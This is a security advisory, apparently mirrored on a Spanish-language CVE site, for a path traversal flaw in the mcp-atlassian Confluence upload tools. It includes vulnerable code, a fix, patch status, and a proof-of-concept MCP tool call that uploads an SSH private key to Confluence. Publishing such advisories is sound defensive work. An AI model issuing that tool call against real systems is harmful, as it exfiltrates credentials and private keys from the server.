GHSA-H7WJ-5V37-59R2
MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read (incomplete fix for CVE-2026-27825)
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 0.22.0 | mcp-atlassian · -74 d desde divulgación | |
| Divulgación | Publicada | GHSA-H7WJ-5V37-59R2 divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
Summary
The `confluence_upload_attachment` and `confluence_upload_attachments` MCP tools accept a `file_path` parameter and do not validate that the path is confined to an allowed directory before opening the file. An attacker who can call these tools can read any file accessible to the MCP server process (SSH keys, .env files, API credentials) and exfiltrate it by uploading it to Confluence.
Note: The Jira `upload_attachment` mixin method in `jira/attachments.py` has the same missing validation, but it is NOT registered as an MCP tool in `servers/jira.py` and is therefore not currently reachable via MCP. It should still be patched to prevent future exposure if Jira upload tools are added.
This is an incomplete fix for CVE-2026-27825. That CVE was patched by adding `validate_safe_path()` to download operations (v0.17.0). The same protection was not applied to upload operations.
Details
`validate_safe_path()` is imported in both `confluence/attachments.py` and `jira/attachments.py` and is correctly called in all download functions. It is absent from the Confluence upload functions (which are exposed as MCP tools) and from the Jira upload mixin methods (which are not currently registered as MCP tools but should still be patched).
Download (protected — correctly patched):
# confluence/attachments.py:222-223
validate_safe_path(target_path) # resolves symlinks + checks is_relative_to(cwd)Upload (vulnerable — not patched):
# confluence/attachments.py:64-79 — NO validate_safe_path() call
if not os.path.isabs(file_path):
file_path = os.path.abspath(file_path) # normalizes but does NOT restrict
# ...
files = {"file": (filename, open(file_path, "rb"))} # opens arbitrary fileSame pattern in `jira/attachments.py:386`.
Proof of Concept
# Call via MCP client
await session.call_tool("confluence_upload_attachment", {
"content_id": "12345",
"file_path": "/home/user/.ssh/id_rsa" # absolute path — no traversal needed
})
# SSH private key is now a Confluence attachment
# Retrieve via: confluence_download_attachment or Confluence UIImpact
Arbitrary file read from the server filesystem. High-value targets: SSH private keys, `.env` files, AWS/GCP credentials, database configuration, source code.
Fix
Add `validate_safe_path(file_path)` call in `confluence/attachments.py:upload_attachment()` (reachable via MCP) and `jira/attachments.py:upload_attachment()` (not currently reachable via MCP, but should be patched preventively), consistent with the existing download protection. No changes to `validate_safe_path()` itself are needed.
# Add after os.path.abspath() call:
try:
validate_safe_path(file_path)
except ValueError as e:
return {"success": False, "error": str(e)}Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypimcp-atlassian |
Corregida | 0.22.0 | -74 d | 0.24.4 no afectada |
0.22.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-h7wj-5v37-59r2https://github.com/sooperset/mcp-atlassian/pull/1448https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460https://github.com/sooperset/mcp-atlassianhttps://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
